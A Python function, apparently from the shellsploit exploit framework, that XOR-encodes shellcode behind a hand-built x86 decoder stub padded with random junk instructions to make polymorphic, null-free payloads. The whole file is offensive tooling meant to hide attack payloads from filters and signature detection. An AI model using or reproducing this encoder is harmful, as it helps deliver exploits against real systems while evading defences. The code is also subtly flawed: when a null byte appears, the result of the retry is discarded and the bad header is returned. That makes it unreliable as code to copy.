def xorme( shellcode):
	cache = shellcode
	mylist = ["".join(x) for x in list(product("ABCDEF", repeat=2))]
	insert = mylist[randint(0,len(mylist)-1)]
	xorfirst = [
	  	r"\x40",                #inc eax
  		r"\x43",                #inc ebx
  		r"\x42",                #inc edx
  		r"\x47",                #inc edi
  	]
	header = xorfirst[randint(0, len(xorfirst)-1)]
	header += r"\xEB\x0D"
	header += xorfirst[randint(0, len(xorfirst)-1)]
	header += r"\x5E"
	header += xorfirst[randint(0, len(xorfirst)-1)]
	header += r"\x80\x36"
	header += r"\x"+insert
	header += r"\x74\x0A\x46"
	header += xorfirst[randint(0, len(xorfirst)-1)]
	header += r"\xEB\xF7"
	header += xorfirst[randint(0, len(xorfirst)-1)]
	header += r"\xE8\xEF\xFF\xFF\xFF"


	encode = ""
	for x in bytearray(cache.decode("hex")):
		y = x^int("0x"+insert, 16)
		test = r'\x%02x' % y
		encode += test

	header += encode.upper()
	header += r"\x"+insert
   	
	if r"\x00" in header.lower():
		xorme( shellcode)
	
	return header.lower().replace("\\x", "")
dataset/ETHPy150Open b3mb4m/shellsploit-framework/shell/encoders/xor_b3m.py/xorme/original